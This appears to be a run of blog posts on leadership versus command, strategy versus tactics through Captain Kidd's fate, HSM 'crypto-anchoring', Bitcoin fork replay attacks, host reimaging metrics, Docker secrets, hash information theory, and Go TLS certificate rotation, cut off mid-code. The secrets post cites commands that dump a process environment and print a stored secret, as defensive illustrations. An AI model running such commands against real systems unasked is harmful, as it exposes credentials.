The Problem

If you were ever at the head of a team, you probably wondered how you were performing. Were you commanding your team, or was it pure leadership? You probably even tried to read a book on the topic, but instead of the promised enlightenment, you ended up exactly where you started. You saw lists of qualities defining a leader, but both your soul and intellect kept screaming the obvious: should not any good commander possess those qualities too? So, what is the difference?

Do not fret. Your soul and intellect were right all along. Whatever qualities those books say a leader should possess, those are qualities that any commander should identically possess (incompetent commanders excluded, of course). Any framework using the model “Leaders do ‘A,’ while commanders do ‘B,’” is wrong. If they are any good, both leaders and commanders will do the exact same things: the right ones. What distinguishes leadership from command is not what you do; it is how and why it becomes done. Furthermore, neither way is better than the other. Both may work or fail in different contexts and at different times. There are times for leadership, and there are times for command. In fact, most of us exercise both simultaneously, and we do not even get to choose which one we are using. Let me explain.

Pirate ships: The rule of democracy and leadership

Discussing the core nature of the pirate code would take us too far. Suffice it to say that pirate ships of old constituted very democratic universes. Captains (and other officials) were elected, could be deposed at any time, and had very limited powers when not in battle. The crew had the authority to determine where to go and what to plunder. If a Captain had a particular idea or plan that he wanted to pursue, he would have to convince the crew to follow his reasoning, believe in what he believed, and thus do what he wanted them to do. This required leadership.

Leadership: The ability to have people follow you, your plan, vision, or intended course of action, not because they are supposed to obey you, but because they believe and voluntarily adhere to the said vision, plan, or course of action.

Navy ships. The rule of pre-defined order and command.

Navy ships, in contrast, even when deployed to defend democracy, were never meant to exercise it. Any crew member with loud dreams of on-board voting ballots, freedom of speech, or free-will, would probably be flogged, keeled, or hanged, depending on the epoch, the ship, and the Captain's particular implementation of the Articles-of-War. When the Captain of a man-of-war made a decision, he would issue a command and people would do his bidding, because that is what they were supposed to do. The Captain commands and the crew obeys, because it is written so; because that is how their world is organized.

Command: The act of determining what other people will do, using the hierarchical or functional dependencies established in your mutual organization or context, which determine that your decisions are to be obeyed.

The world at large. The rule of mix and proportion

Let us suppose that you are chairing a meeting with your trusty employees, in which you will present the strategy that will make your enterprise survive and prosper in the next decade. You present your ideas, and because you are a knowledgeable person, passionate about your ideas, and have a good grasp on how to handle the challenges facing your company, seven of the ten people in the room become totally convinced and adhere to your vision and approach. The remaining three have doubts concerning the efficacy of your proposals, and are not fully convinced; despite that, they will do as asked, because you are the boss, and implementing your decisions is what they have been hired to do. This means that when the thing gets done, 7/10 of it will have been done through leadership, and 3/10 will have been done by command. But who’s counting, right? You never know the score when you end a meeting.

It does not really matter why things get done, as long as the right things get done, and in a manner in which everyone feels respected and adequately valorized. There is no magic about leadership, and there is no magic about command. Be a leader or be a commander; be who you are. Sometimes, you will find that leadership will not work and things must be done by command; other times, you will find that simply issuing commands will not be effective, and that you need to go the extra mile and really convince people, getting them to adhere and believe in your vision and ideas. Be who you are, and proceed as required. Just be efficient, thoughtful, and considerate in whatever you do.

Are strategy and tactics really different concepts, or just different levels of the same thing? If different, in what do they differ? Should they be handled differently? The goal of this blog-post is to describe strategy and tactics from the point of view of the Captain of a pirate ship, in the hope that the analogy will be sticky enough to allow remembering the concepts the next time this topic comes up. Let us first set up the context, and then clarify the concepts.

A Pirate’s conundrum

In March 1699, after a years-long voyage as a privateer, Captain Kidd found himself in the Caribbean commanding a captured, undermanned, treasure-laden vessel (the Quedagh Merchant). There, he learned that he and his crew had been declared pirates and were to be arrested. The accusation of piracy stemmed from having captured two ships (the Quedagh being one of them), which led to an immense diplomatic and political upheaval. However, Kidd had in his possession the French passes presented to him by those ships, which made the captures legal (at least technically), and thus constituted his proof of innocence against the piracy accusations.

The situation was dire. The English, Dutch, and Portuguese navies would capture or destroy him on sight. If he was captured, he was likely to be sacrificed without a fair trial. Everybody wanted a piece of him.

The strategy

This is the type of situation where one can certainly use a well-designed strategy. Here is the set of strategic objectives (and their interrelations) that Kidd seems to have adopted; that is, his strategic map:

The chosen strategy seems sensible. If he were to prove his innocence from the piracy accusations, he had to ensure that the French passes (the only documents capable of doing so) were safely delivered to the proper authorities. Furthermore, proving his innocence would require the goodwill of powerful allies, the most obvious of which were the powerful financial backers of his privateering adventure. Not only was Lord Bellomont one of these backers, he was the Governor of New York. All in all, this made him the best possible ally and entry point into the system to prove Kidd’s innocence, given that proving the legality of Kidd’s captures would have entitled him to his share of the expedition profits. Delivering the passes and treasure to Bellomont was, therefore, the sensible thing to do. To reach Bellomont, however, Kidd needed to navigate to New York undetected, lest he be captured underway. This implied obtaining a new ship, because the moorish-built Quedagh was big and highly conspicuous. Overall, his was a sound strategy.

The outcome

Captain Kidd did reach the lower three objectives defined in his strategy. He managed to buy a new ship, transfer a considerable part of the treasure to it, and then navigate to New York undetected (the Quedagh was left behind with the remainder of the treasure), finally reaching Lord Bellomont with the passes and part of the treasure. His undoing was in how he did these things (his tactics), which in the end made it impossible for him to reach the remaining defined strategic objectives and, ultimately, led to his untimely death.

Overall, his tactics to reach the strategic objective “Ensure the goodwill of my financial backers” were very thin. They relied solely on convincing Bellomont, who would then influence the remaining backers and the central powers. If Bellomont reported that the passes were valid, the piracy charges were unfounded, and Kidd had willingly and honestly performed his assigned commission, then the remaining backers would certainly have been won to Kidd’s cause, for self-interest if nothing more. His tactics thus had a single point of failure (convincing Bellomont), and one whose probability of failure was unknown. It was a very thin piece of tactics, and it failed miserably.

Lord Bellomont quickly came to consider Kidd as a hostile, lying, and deceiving rascal, and not only imprisoned him, but did his best to portray Kidd in the worst possible light to the central powers in London. In fact, he even came up with a backup plan to hang Kidd if the piracy charges happened to be waived.

Having failed to reach that particular strategic objective, the remaining objectives fell like a house of cards. Kidd found himself without allies, with not a single relevant person interested is sustaining his innocence, and with an increased number of powerful people committed to his demise. The end was unavoidable. He could not prove his innocence; the French passes disappeared (they have been found in the early twentieth century), false testimonies were given, favorable facts and testimonies were disregarded, etc. In the end, he was sentenced to die on the gallows. A possibly honest but by then powerless man, completely isolated except for his unfaltering (but also powerless) wife was left to fend unscrupulous powerful enemies, and a biased judicial system that was out to get him. It was not even a fight; it was a massacre.

If something important is to to be taken out of this sordid affair, it's this:

Strategy is important, but not more important than the tactics that  support it.

Defining and clarifying

Let us now distinguish strategy from tactics. One of the most concise definitions of these concepts was proposed by Carl von Clausewitz, (still) one of the most respected military theorists of all times. In a free translation, “Tactics is the use of armed forces to win battles; strategy is the use of battles to win the war.” Unfortunately, the conciseness and underlying military context of this definition make it easy to miss the real point, which often leads to confusion, especially when extrapolating these concepts to non-military contexts involving organizations, markets, and competition.

The real point is this: In war, we can find relatively well defined periods of intense activity and decisive action (to avoid the restriction to military actions—battles—we will simply call these periods actions), followed by periods of calm (or preparations for the next action). Each action results in a new end-state, which contributes to a new overall balance between the conflicting foes.

Even though simplified (in real life, not all actions are sequential and, therefore, the several possible action/end-state pairs tend to create a more or less complex mesh), this view gives us all we need to define strategy and tactics.

Strategy is the choice of an appropriate set of end-states that will hopefully lead to the desired final outcome. (defining WHAT to accomplish)

Tactics is the choice of the best actions (and how to best implement them) to achieve the defined end-states. (defining HOW to do it)

The end-states defined in our strategy are our strategic objectives. The actions required to reach them will from now on be called tactical actions, for clarity. When we decide that we want to reach a particular end-state (having a new ship, reaching New York, leaving writing blog posts to someone who knows how to do it, or whatnot), we are defining the strategy, establishing a strategic objective; when we start discussing how to reach that end-state, we are discussing tactics, designing a tactical action.

Some tactical actions may be highly complex and/or dilated in time. As such, they may have their own internal end-states. That is to say that, even when designing a tactical action, one may also very well need to make strategic decisions (choose end-states), albeit limited to the scope of that tactical action. To successfully change ships in the Caribbean, some type of strategy was certainly followed, because finding a locally available adequate ship and reaching an acceptable solution for the Quedagh and the treasure must have been a messy and complicated business. However, from the point of view of Kidd’s greater strategy, the details or decisions made in this process are “simply” the inner workings of the tactical action required to achieve the strategic objective "Obtain a new ship". The strategic objectives of the crew members tasked with obtaining the new ship may, from the higher-level point of view of Kidd’s global strategy, be considered tactical objectives. In fact, it frequently happens that the very same decisions may be correctly considered tactical or strategic depending solely on the point of view.

Let us pretend that Kidd assigned the acquisition of a new ship to his first mate. The strategies and tactics might then have been, from Kidd’s and his first mate’s points of view, the following:

As shown, to accomplish the assigned mission the first mate had to design his own strategy, with clear end-states (strategic objectives) and associated tactics. But from Kidd’s point of view the first mate’s strategic objectives are simply details associated with his chosen tactical action. An objective such as “Trick Mr. X into selling his ship” is a strategic objective for the first mate, but would be considered (at most) a tactical objective by Kidd, because it is simply an inner component of his chosen tactics.

Whenever things get murky (and they truly can), the fallback is simple: if we are defining a set of end-states leading to the desired outcome, we are designing a strategy; if we are discussing how to better reach those end-states, we are discussing tactics. Be it at whatever level it may be.

I've been thinking about a concept that Nathan McCauley and I came up with a few years ago: crypto-anchoring—and how much impact this kind of architectural decision could have in the breaches that we've been experiencing lately.

It turns out that the vast majority of data breaches follow a pattern like this:

• An attacker hacks into company X's infrastructure.
• The attacker exfiltrates sensitive content (hashed passwords, etc.).
• The attacker has fun with the data at home (password cracking, etc.).

And even though there are thousands of different security products focused on detecting each step of the attacker killchain, it's time that we start architecting our applications—and data-flows—in a way that makes it harder for attackers to continue following the same script.

Canonical Attack

Take the simplified example of a data-exfiltration attack depicted below:

In this particular example, an attacker accesses and exfiltrates the contents of the user database containing all of the user information, including the password hashes used for authentication to the service. The attacker is now free to crack these passwords anywhere, and if the attack and exfiltration of the database aren't immediately detected, you might never know what happened until the cracked passwords start being sold on the black market.

Slowing attackers down

What if we could architect our systems such that the attacker can't use the stolen data outside of our infrastructure? Doing that would give us the following advantages:

• More chances for detection of the attackers, since they have to operate within our environment.
• Logs that show precisely what pieces of data have been accessed, allowing us to assess the impact an attack more accurately.
• Force the attacker work in an adversarial environment, slowing down their progression by rate-limiting services that allow access to sensitive data.

By forcing the attacker to have to operate within our infrastructure, we are making them operate like a bull in a china-shop.

Keeping attackers in

Let's look again at the example of our canonical database leak. If we want to force an attacker not to be able to crack a password offline, we have to make the computation of the password hash dependent on something that can't leave the data center. Maybe a key generated inside of a piece of hardware physically bolted onto your servers?

It turns out those already exist, and are called HSMs (Hardware Security Modules). You can buy your own HSMs if you’re running your own datacenter, or use the ones available in various cloud providers.

Let's take the same attack as before, but instead of simply hashing the password (H(password)) we first apply an operation using a key generated inside of our HSM (HMAC(key, password). Adding this extra step makes the contents of the database the attacker exfiltrates contain hashes of passwords that can't be re-computed without the ability to query the HSM.

That brings us to the concept of a crypto-anchor:

A Crypto-anchor is a service that forces a data-flow to only be available within the boundaries of your infrastructure.

Let's take a look at a couple more examples of using crypto-anchors:

Data-flow: You have a credit-card processing service that needs the ability to temporarily persist and later decrypt end-to-end encrypted credit-card data coming from a remote hardware device.

No Crypto-Anchor

The most straightforward way of implementing this data-flow is by giving the payments service access to the private-key that decrypts the transaction information coming from the remote credit-card reader. This has the obvious downside that an attacker that compromises the payments service can exfiltrate both the encrypted transactions and the private-key that is necessary to decrypt them.

With Crypto-Anchor

If instead we crypto-anchor this data-flow, we disallow the attacker from decrypting any of these transactions outside of our infrastructure.

The easiest way of doing this is to have the private key necessary for decryption stored inside an HSM, exposed behind a decryption service with strict per-service rate-limiting on the number of allowed decryptions.

Data-flow: You need a tokenization system that creates a stable identifier corresponding to a specific piece of sensitive data, say a user's Social Security Number^[1].

No Crypto-Anchor

The obvious way to implement a tokenization service is to generate a random token and store a mapping of that token and a one-way hash of the sensitive piece of data.

Unfortunately, the maximum number of possible SSNs is just under 1 billion, making it trivial for an attacker that downloads the database to brute-force them offline.

With Crypto-Anchor

Similarly to the previous example, if you wanted to ensure the attacker couldn't brute-force the SSNs offline, you could add a crypto-anchor in the data-flow, turning the offline brute-force attack into an online attack.

The easiest way to accomplish this is to have the token generation process be a keyed one-way function, that can only happen inside of an HSM.

If we generalize the examples above, we can easily see that when we're architecting a system that deals with sensitive data, we should make sure to:

• Never expose a service that stores sensitive data directly to any internet-exposed (front-end) services.
• Split core functionality into independent services, allowing for natural crypto-anchoring points in your data flow
• Categorize services with different levels of security into different security zones, and rate-limit the number of API calls to the crypto-anchor on a per-zone or per-service basis.

Conclusion

By designing your applications in a way that ensures sensitive data-flows are crypto-anchored to your data center, you are:

• Slowing attackers down.
• Gathering better information on what data was exposed.
• Making attackers continuously risk detection by forcing them to operate on your turf.

So go out there and anchor your data! ⚓️

Dealing with blockchain hard-forks seems to have become an unfortunate and time-consuming reality of working in the cryptocurrency space these days: all the cool kids seem to be doing it.

With the looming possibility of yet another Bitcoin hard-fork come November, the rumor mill has started spitting out the much expected fear-mongering articles.

Let me start by saying that if the hard-fork does happen, and your Bitcoin isn't stored in an exchange, no immediate action will be required from you. If you are currently hosting your Bitcoin is an exchange like Coinbase or Gemini, you are beholden to those companies to do the right thing when Bitcoin forks: allow you access to both currencies. It might not happen immediately; it might not happen at all.

If you have your Bitcoin in an offline wallet stored in a vault somewhere (as is recommended), and have no intentions of selling your newly cloned Bitcoin, then save this article for later.

The reason this is a no-op for any Bitcoin holders is the fact that the newly cloned blockchain is a copy of the old blockchain: anyone attempting to move your holdings will still need a valid signature from your private key. Inaction will not lead to loss of your holdings, period.

However, given that the fork in November might not have replay protection, you'll have to ensure you protect yourself before you transact any Bitcoin.

What is a replay attack?

It turns out that if you fork two very similar code-bases with no protocol modifications, any message intended for a node running the new codebase is also valid for a node running the old codebase. A replay attack happens when a malicious node in one of the chains intentionally sends messages it receives to the other chain.

That brings us to the quickest solution that guarantees you don't lose access to any of your holdings in either chain: after the fork happens, ensure that the first transaction you do is transferring all your holdings from your current wallet to another wallet under your control. Doing this will make sure that, even if an attacker relays your transaction to the other chain, you're the sole person in control of the corresponding destination wallet address, thus reducing the impact of the attack to a minor annoyance.

Here is the list of actions to take after the fork:

1. Use your normal Bitcoin software^[1] to generate a new wallet and save it offline.
2. Bring your current Bitcoin wallet online, and transfer all your current holdings into the new wallet.
3. Verify that your Bitcoin has actually been sent (at least six confirmations on the blockchain).
4. Download trusted software that supports the new fork^[2].
5. Generate a new wallet using the new software, and save it offline.
6. Import your old wallet keys into this new software wallet, and send all the Bitcoin to your newly generated offline wallet.
7. Verify that your new currency has made it to the new wallet.

I hope this helps clear up some of the confusion around the hard-fork. Be safe out there.

As companies move their infrastructures towards ephemeral microservices, there is an opportunity to rethink some of the security metrics typically used to track infrastructure risk, such as the number of currently unpatched vulnerabilities sorted by their criticality.

In the same way that the adoption of Continuous Integration and Continuous Delivery (CI/CD) allows faster development and patching of application vulnerabilities, it is time for organizations to realize that they should follow the same pattern around upgrading the Operating System their applications are running on.

Instead of having a JIRA queue—with an ever-increasing number of tickets tracking the CVEs in the Linux Kernel—we should instead start tracking reverse uptime and golden image freshness.

The two metrics that matter for host security ^[1]

The first metric I want to mention is reverse uptime, which is a catchy name for a straightforward concept:

Instead of looking at the time a host has been online as a proxy indicator of stability, we instead look at it as a proxy indicator of risk.

A company that tracks reverse uptime as a security metric will relentlessly focus on bringing down the average uptime by automatically reimaging whichever hosts have been online the longest, and therefore, lowering risk.

Of course, re-imaging all hosts from an out-of-date image is not ideal. This brings us to our second metric, golden image freshness:

The time elapsed since the last build of the canonical OS image used to bootstrap hosts.

Here are the main reasons to track these two metrics:

• OS Drift is a common cause of downtime. Reimaging hosts reduces unexpected divergences in configuration.
• It becomes significantly harder to backdoor or maintain persistence on compromised nodes, since it forces the attacker to go after components like the firmware.
• Updating the kernel is no longer an issue, since updating the golden image ensures hosts will be upgraded within a time-bounded window.
• The golden image is now the single point of control, making it easier to audit, scan, sign and verify what is running on the hosts.

Continuously driving down both reverse uptime and golden image freshness will significantly reduce the risk posed by the most dangerous type of vulnerability there is: old-days.

The rise of OS rolling-deploys

Of course, tracking reverse uptime is a lot easier if you have an infrastructure where you can do hitless OS rolling deploys. But that, dear reader, is precisely the point. Caring about reverse uptime will ensure that your IT organization will get to the point where your oldest host has been online for hours, not years.

The good news is that there are several projects out there that will make it easier to automate this process. Projects like Terraform and infraKit allow you to safely and predictably change your production infrastructure. Projects like Packer and linuxKit allow you to rebuild your OS images continuously.

Conclusion

With the rise in popularity of tools like linuxkit for OS image building and infrakit for automated infrastructure rolling-deploys, refreshing every host in your infrastructure on a regular basis is no longer a pipe-dream—making reverse uptime and golden image freshness the two most important security metrics to track for host security.

Thanks to Dino Dai Zovi for pushing me to put this down in writing and Nathan McCauley for the review.

The twelve-factor app manifesto recommends that you pass application configs as ENV variables. However, if your application requires a password, SSH private key, TLS Certificate, or any other kind of sensitive data, you shouldn't pass it alongside your configs.

When you store your secret keys in an environment variable, you are prone to accidentally exposing them—exactly what we want to avoid. Here are a few reasons why ENV variables are bad for secrets:

• Given that the environment is implicitly available to the process, it's hard, if not impossible, to track access and how the contents get exposed (ps -eww <PID>).
• It's common to have applications grab the whole environment and print it out for debugging or error reporting. So many secrets get leaked to PagerDuty that they have a well-greased internal process to scrub them from their infrastructure.
• Environment variables are passed down to child processes, which allows for unintended access. This breaks the principle of least privilege. Imagine that as part of your application, you call to a third-party tool to perform some action—all of a sudden that third-party tool has access to your environment, and god knows what it will do with it.
• When applications crash, it's common for them to store the environment variables in log-files for later debugging. This means plain-text secrets on disk.
• Putting secrets in ENV variables quickly turns into tribal knowledge. New engineers who are not aware of the sensitive nature of specific environment variables will not handle them appropriately/with care (filtering them to sub-processes, etc).

Overall, secrets in ENV variables break the principle of least surprise, are a bad practice, and will lead to the eventual leak of secrets.

If not env variables then what?

At a previous job I helped solve this problem with a really elegant solution: Keywhiz. At Docker we went a step further and built a similar solution directly into Docker itself. If you're using swarm, you now have a trivial way to manage your secrets securely:

openssl rand -base64 32 | docker secret create secure-secret -

And that's it. You can now use your secret:

docker service create --secret="secure-secret" redis:alpine

And make your application read the secret contents from the in-memory tmps that gets created under /run/secrets/secure-secret:

# cat /run/secrets/secure-secret
eHwX8kV8sFt/y30WASgz8kimnKhUkCrt07XMrmewYr8=

By integrating secrets into Docker, we were able to deliver a solution for the secrets management that follows these principles:

• Secrets are always encrypted, both in transit and at rest.
• Secrets are difficult to unintentionally leak when consumed by the final application.
• Secrets access adheres to the principle of least-privilege.

Having an easy-to-use, secure-by-default secret distribution mechanism is exactly what developers and ops need to solve the secrets management problem once and for all.

The guarantees provided by hashes are of critical importance for security. One of the major points of hashes is, of course, their non-invertibility. However, even though I know how to do the necessary bitwise rotations and modulus additions to compute [insert favorite hash function here], I don’t always have a clear intuition on how these operations, in this order and with these magic constants, make the original content irrecoverable. I believe that inversion will certainly be very hard, but not necessarily that it will be impossible. I don't like it when that happens.

Let me tell you what I do like.

I like light. Light does not travel at the speed of light (no pun intended) because it is hard for it to do otherwise. No. It travels (and does so at that particular speed), because it is impossible for light to do otherwise. Given the factual existence of the phenomena that humankind so brilliantly summarized in the set of equations known as Maxwell equations, it is simply not possible for light to be still, or even propagate at a different speed in the same medium. See the beauty of this? It is certain. It is sure. It can never change. I can sleep tight and comfortable, because I know that I will never have to cope with a different speed of light in vacuum. No smart order of operations or magic constants, no backdoors, no \(P=NP\) or any other new results in complexity theory will ever make me worry about the speed of light and keep me awake at night. It is not a question of complexity or hardness. It is a question of inevitability. It is impossible for light to do otherwise.

I like it when things are what they are because they simply cannot be something else. I like to feel that some security property relies on impossibility, not on hardness.

The question is: how do we ensure this? The question is easy (the answer not so much) and will bring us to one of the concepts that has made me both happy and sad along the years. Happy, because I love it. Sad, because I can’t really understand it.

Let’s jump to the end: information; that is my answer. A hash cannot be reversed if we can guarantee that its informational content is not enough to reverse the encoding process. No matter how clever attackers are, they cannot increase the total amount of information available in the pieces we disclose. When we hash a 100-page document into a 128-bit hash, we may be pretty sure that the hash digest does not contain sufficient information to recover the document. Too much information will have been lost in the encoding process. This notion that inverting is impossible because there simply is not enough information to do so is comforting.

On the other hand, sometimes you want your encoding process to preserve some type or amount of information (e.g., topological proximity relations, etc.). In these cases, you will want the encoding to eliminate some of the information (to make the process irreversible), but preserve an established minimum amount (so that the results of the encoding process may still be useful for your particular purposes).

This is all fine and dandy, but implementing this type of approach requires the comprehension of what information is, or at least of how we can acceptably measure it. We have thus arrived at one of my favorite conundrums. Hopefully, by the end of this text, you will be as confused as I am. I will focus only on the “easy” end: What does it mean to say that the disclosed data has no information at all? Reporting back to the example of the previous figure, I think we all agree that saying “All values of \(x\) are equiprobable” conveys zero information in what concerns the particular value assumed by \(x\). This means that a uniform distribution of probability, where all values are equiprobable, is the epitome of the notion of “zero information” about the particular value of \(x\).

This makes sense, right? Let us then freeze the thought, for the moment.

Having zero information means that everything is possible and equiprobable. If we knew that something was more probable than something else, that would be knowing something; it would imply having some information.

Good. We seem to be moving forward. Let us continue by agreeing that, if we have zero information concerning the value of \(x\), than we are also clueless in what concerns the value of, say, \(x^2\). Which means that, as far as we know, \(x^2\) can also be anything, with equal probability; that is, that the probability distribution of \(x^2\) must also be uniform. This is great. We are already applying the previous conclusion to infer new facts.

Unfortunately, our conclusion must be wrong. If \(x\) has a uniform distribution, \(x^2\) cannot also have a uniform distribution. It is simply impossible. No can do. If your math is all but gone, you may just want to trust me on this, and skip the “math box” proving the assertion I am about to make: If the probability distribution of \(x\) is uniform, the probability that \(x^2\) is, for example, between 0 and 1, is approximately three times higher than the probability that \(x^2\) is between 2 and 3.

Math Box

Suppose that the uniform probability density distribution of \(x\) has value \(k\) (the value of \(k\) depends on the distribution support, of course, but this is unimportant for our objective here). To confirm the notion that this uniform distribution provides no information concerning the value of \(x\), let us for example compute the probability that \(x\) is in the range \([\tau, \tau + \mu]\). This is trivially done by:

\begin{equation}
P(\tau < x \leq \tau + \mu)=\int_{\tau}^{\tau + \mu} k \hspace{2mm} dx = k (\tau+\mu-\tau)=\mu k
\end{equation}

The result does not depend on \(\tau\), which confirms that the probability of finding \(x\) in an interval of length \(\mu\) is always the same, no matter where that interval is located. That is: the probability of finding \(x\) in the interval \([0,1]\) is the same of finding \(x\) in the interval \([2, 3]\). This comes to confirm that we have no idea where \(x\) is; no information about its value.

Let us now repeat the procedure, but this time for \(x^2\). The probability that \(x^2\) is in the range \([\tau , \tau + \mu]\) is now given by

\begin{equation}
P(\tau < x^2 \leq \tau + \mu)=\int_{-\sqrt{\tau + \mu}}^{-\sqrt{\tau}} k \hspace{2mm} dx + \int_{\sqrt{\tau}}^{\sqrt{\tau+ \mu}} k \hspace{2mm} dx = 2 k (\sqrt{\tau+ \mu}-\sqrt{\tau})
\end{equation}

The result now depends on \(\tau\). This means that the probability of finding \(x^2\) in an interval of length depends on where that interval is located. As an example, the probability of finding \(x^2\) in the interval \([0,1]\) is \(2k (\sqrt{0+1}-\sqrt{0})=2k\), but the probability of finding it in the interval \([2, 3]\) is now \(2k (\sqrt{2+1}-\sqrt{2})=0.63575 k\) (approximately three times lower than that of finding it in the interval \([0,1]\)).

That is: by knowing nothing about \(x\), we will know something about \(x^2\); namely, that it is approximately three times more probable to find \(x^2\) between 0 and 1 than it is to find it between 2 and 3. How can this be? Had we not agreed that, if we have no information about \(x\), then it stands to reason that we also cannot know anything about \(x^2\)? Hmmm… Let’s recap.

If we know nothing about the value of \(x\), logic dictates that we should know nothing about the value of \(x^2\). However, the mere fact that we know nothing about \(x\) (and that all values of \(x\) are therefore equally probable from our ignorant point of view), implies that we know something about \(x^2\); for example, that \(x^2\) is approximately three times more likely to be found between 0 and 1 than between 2 and 3. This contradicts the logic conclusion that started the paragraph.

As Shakespeare put it, something is rotten in the state of Denmark. My only hope is that you are now as confused as I am. And if you’re thinking that the answer to the problems with the concept of information lies somewhere in Shannon’s definition of information, think again. Let us just say that, for example, if we use Shannon’s definition of information, a book with random characters is much, much more informative than any book written in English (or in any other human language, for that matter). For the even more refined readers, who are thinking about eventually less known definitions of information, and are therefore mentally fencing words such as Rényi, Kullback, Leibler, Fisher, and other names of semi-Gods, I say: been there, done that; still confused.

Let me now wrap this up by saying that the problem we just saw is not new. Not by a long shot. In fact, we have just stumbled on the well known (and hitherto unsolved in a general way) problem of defining non-informative priors in Bayesian statistics. Many brilliant and powerful statisticians have attempted to solve this problem, and obtained ways of untangling this… this... (shall we call it a paradox?) in particular instances, from particular points of view. Jeffreys comes of course to mind, but there’s Jaynes, José-Miguel Bernardo, and so many other super-heroes. Rumour even has it that solving this paradox might be the main plot of the next Batman movie.

A final note. If you are trying to pin the blame on the uniform distribution, please know that the same type of game can be played with any distribution that you feel may represent the concept of “zero information.” I only used the uniform, because it is the one that makes the most sense when we first think about the problem. Or, if you’re into more formal reasoning, because it embodies Bernoulli’s principle of insufficient reason (which basically states that we should assume that all possibilities have equal probability if we have no information that tells us otherwise).

As soon as I get to the bottom of this and have a final coherent answer, I will make a new post and tell you the solution. Should the fact that the above-mentioned super-humans didn’t get to a global solution discourage me? Maybe. I only hope that the Sun doesn’t go all white-dwarf on me before I get to a definitive solution. What? Only 5 billion years left? That might be cutting it a bit short.

One of the core security goals of Docker's Swarm mode is to be secure by default. To achieve that, when a new Swarm gets created it generates a self-signed Certificate Authority (CA) and issues short-lived^[1] certificates to every node, allowing the use of Mutually Authenticated TLS for node-to-node communications.

Unfortunately, and much to the annoyance of every infrastructure engineer, there is an old TLS maxim that states that:

If a certificate got issued, it will have to be rotated.

Rotating TLS certificates manually may quickly get out of hand—particularly when we have to manage hundreds of certificates—and becomes completely unmanageable if we issue certificates that expire within hours, instead of months.

In this post I'll go over two different ways of doing hitless certificate rotation in Go, so that we can follow the only logical path out of this certificate management nightmare: automate the hell out of TLS certificate rotation.

Why do I need hitless rotation?

There are some use-cases where replacing the TLS certificate on disk and restarting the application is a completely valid way of doing certificate rotation.

In fact, if we do a rolling deploy of our application—by adding new application instances with the new certificate before shutting down the instances with the old certificate—we can achieve hitless rotation^[2] and none of the incoming requests to the application will be dropped.

Unfortunately, there are two main issues with this approach:

• There might be side-effects to shutting down the old instances (e.g., applications losing their caches).
• We either have to wait for all the currently active TCP connections of our old instances to finish (i.e., we might have to wait a long time) or forcefully terminate all the current open connections.

As a concrete example, consider the Docker Swarm architecture, depicted in the following Figure. To create highly-available clusters, Swarm uses special manager nodes participating in a consensus protocol called Raft. Manager nodes keep long-lived connections between each other, and all the other nodes in the system (workers) maintain a long-lived connection to one of the managers.

If we were to use the previously described rolling–deploy method to rotate the certificates on the manager nodes, we would:

• Cause a thundering herd of workers attempting to reconnect their terminated connections with the managers.
• Potentially cause a leader election between the managers, bringing unnecessary disruption to our cluster while Raft converges to a new leader.

To make matters worse, if our certificates have short expiration times, these two issues would occur several times a day.

Fortunately, there is a better way.

Certificate selection during the TLS handshake

In a TLS handshake, the certificate presented by a remote server is sent alongside the ServerHello message. At this point in the connection, the remote server has received the ClientHello message, and that is all the information it needs to decide which certificate to present to the connecting client.

It turns out that Go supports passing a callback in a TLS Config that will get executed every time a TLS ClientHello is sent by a remote peer. This method is conveniently called GetCertificate, and it returns the certificate we wish to use for that particular TLS handshake.

The idea of GetCertificate is to allow the dynamic selection of which certificate to provide to a particular remote peer. This method can be used to support virtual hosts, where one web server is responsible for multiple domains, and therefore has to choose the appropriate certificate to return to each remote peer.

Using GetCertificate is easy. The first thing we need to do is to create a struct that implements the GetCertificate(clientHello *tls.ClientHelloInfo) method^[3].

type wrappedCertificate struct {
	sync.Mutex
	certificate *tls.Certificate
}

func (c *wrappedCertificate) getCertificate(clientHello *tls.ClientHelloInfo) (*tls.Certificate, error) {
	c.Lock()
	defer c.Unlock()

	return c.certificate, nil
}

After this, we can create a TLS Config that makes use of this method, and a TLS listener that makes use of this config:

wrappedCert := &wrappedCertificate{}
config := &tls.Config{
	GetCertificate: wrappedCert.getCertificate,
	PreferServerCipherSuites: true,
	MinVersion:               tls.VersionTLS12,
}
network := "0.0.0.0:8080"
listener, _ := tls.Listen("tcp", network, config)

Every time a TLS handshake is about to occur, our getCertificate method is going to get called, and the current certificate stored inside wrappedCertificate will be returned.

However, we are missing a way of replacing the internal certificate that is returned by getCertificate. Let's fix that:

func (c *wrappedCertificate) loadCertificate(cert, key []byte) error {
	c.Lock()
	defer c.Unlock()

	certAndKey, err := tls.X509KeyPair(cert, key)
	if err != nil {
		return err
	}

	c.certificate = &certAndKey

	return nil
}

This loadCertificate() method allows updating the certificate stored inside wrappedCertificate, successfully achieving our goal of doing certificate rotation without killing the currently active connections.

Here's a diagram of what is happening:

Old established connections using the previous certificate will remain active, but new connections coming in to our TLS server will use the most recent certificate.

Here is a simple example of a TLS server that rotates its certificates every second. Every new certificate gets generated with random Organization (O=); running this example and doing a few handshakes shows us that the server is indeed rotating certificates at every second:

➜ go build certificate_rotation.go; ./certificate_rotation
Generating new certificates.
Generating new certificates.

➜  ~ openssl s_client -connect localhost:8080 -no_ssl3 -no_ssl2 | openssl x509 -text | grep "O="
depth=0 /O=YSvkxjrK1UGexUg1KubNtrfXRhyRF-AxPPtXZxXkiKk=
...
➜  ~ openssl s_client -connect localhost:8080 -no_ssl3 -no_ssl2 | openssl x509 -text | grep "O="
depth=0 /O=aQIkDOpBwUDLdCLAGvnY8C5vRlmV0eDn2hRf_zTgpxk=
...

For a more complex use of GetCertificate take a look at the autocert package in golang.org/x/crypto/acme/autocert, which does domain-based lookups on a memory cache hosting all the currently available certificates.

Choosing the TLS config before the TLS handshake

There is another way of achieving the same goal of certificate rotation in Go. Instead of relying on GetCertificateto be called on every TLS handshake and choosing which certificate gets used, we can create a new TLS server for every accepted TCP connection, and provide whatever TLS config is active at the time.

The major advantage of this particular route is the fact that we are no longer stuck with the same TLS config parameters for every connection, and we can change any TLS Config parameters on the fly.

To do this, we create a wrappedConfig struct, instead of a wrappedCertificate struct:

type wrappedConfig struct {
	sync.Mutex
	config *tls.Config
}

func (c *wrappedConfig) getConfig() *tls.Config {
	c.Lock()
	defer c.Unlock()

	return c.config
}

The major difference from the previous method lies in not using a tls.Listener, and instead manually creating a tls.Server with the desired TLS config on every net.Listener.Accept().

	wrappedConfig := &wrappedConfig{}
	network := "0.0.0.0:8080"
	listener, _ := net.Listen("tcp", network)
...
	conn, _ := listener.Accept()
	config := wrappedConfig.getConfig()
